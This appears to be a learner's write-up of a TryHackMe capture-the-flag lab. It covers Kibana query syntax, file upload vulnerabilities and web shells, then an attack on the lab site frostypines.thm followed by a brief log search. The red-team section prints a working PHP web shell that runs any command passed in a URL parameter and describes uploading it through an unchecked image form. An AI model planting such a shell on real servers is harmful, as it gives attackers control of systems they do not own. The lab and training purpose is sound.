started with using elastic search ELK SOC tool in theory and then applied my knowledge with the practical part and had more fun attacking as with the Red team tasks
KQL : Kibana Query Language
Query/Syntax Description Example " " The two quotation marks are used to search for specific values within the documents. Values in quotation marks are used for exact searches. "TryHackMe" The asterisk denotes a wildcard, which searches documents for similar matches to the value provided. United (would return United Kingdom and United States) OR This logical operator is used to show documents that contain either of the values provided. "United Kingdom" OR "England" AND This logical operator is used to show documents that contain both values. "Ben" AND "25" : This is used to search the (specified) field of a document for a value, such as an IP address. Note that the field you provide here will depend on the fields available in the index pattern. ip.address: 10.10.10.10
File Upload Vulnerabilities
File upload vulnerabilities occur when a website doesn't properly handle the files that users upload. If the site doesn't check what kind of file is being uploaded, how big it is, or what it contains, it opens the door to all sorts of attacks. For example:
- RCE: Uploading a script that the server runs gives the attacker control over it.
- XSS: Uploading an HTML file that contains an XSS code which will steal a cookie and send it back to the attacker's server.
What is Remote Code Execution (RCE)
Remote code execution (RCE) happens when an attacker finds a way to run their own code on a system. This is a highly dangerous vulnerability because it can allow the attacker to take control of the system, exfiltrate sensitive data, or compromise other connected systems.
What Is a Web Shell
A web shell is a script that attackers upload to a vulnerable server, giving them remote control over it.Once a web shell is in place, attackers can run commands, manipulate files, and essentially use the compromised server as their own. They can even use it to launch attacks on other systems.
For example, attackers could use a web shell to:
- Execute commands on the server
- Move laterally within the network
- Download sensitive data or pivot to other services
Getting practical :
Red team :
on the website http://frostypines.thm found the following path /admin without a password so I was already in, searched in the main routes found in the navbar and found in the /add_room ability to add a room with the ability to add the image to it, since the advent of cyber day 3 is talking about RCE methods I will try to upload a web shell file and gain remote access to the server
shell.php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="text" name="command" autofocus id="command" size="50">
<input type="submit" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['command']))
{
system($_GET['command'] . ' 2>&1');
}
?>
</pre>
</body>
</html>Wow! upload succeeded regardless of the file type.
opened one of the images in a new tab http://frostypines.thm/media/images/rooms/4.jpg
ok here's the path of the assets let's hit the one with the shell.php
Whoop! we have access to the server:
and here's flag.txt.
blue team :
open elastic on discover, between October 3rd between 00 and 23:30
you will see there are multiple of requests, let's search for the ones that contain the shell file message : "shell.php" we will find the attacker used IP address, where's shell.php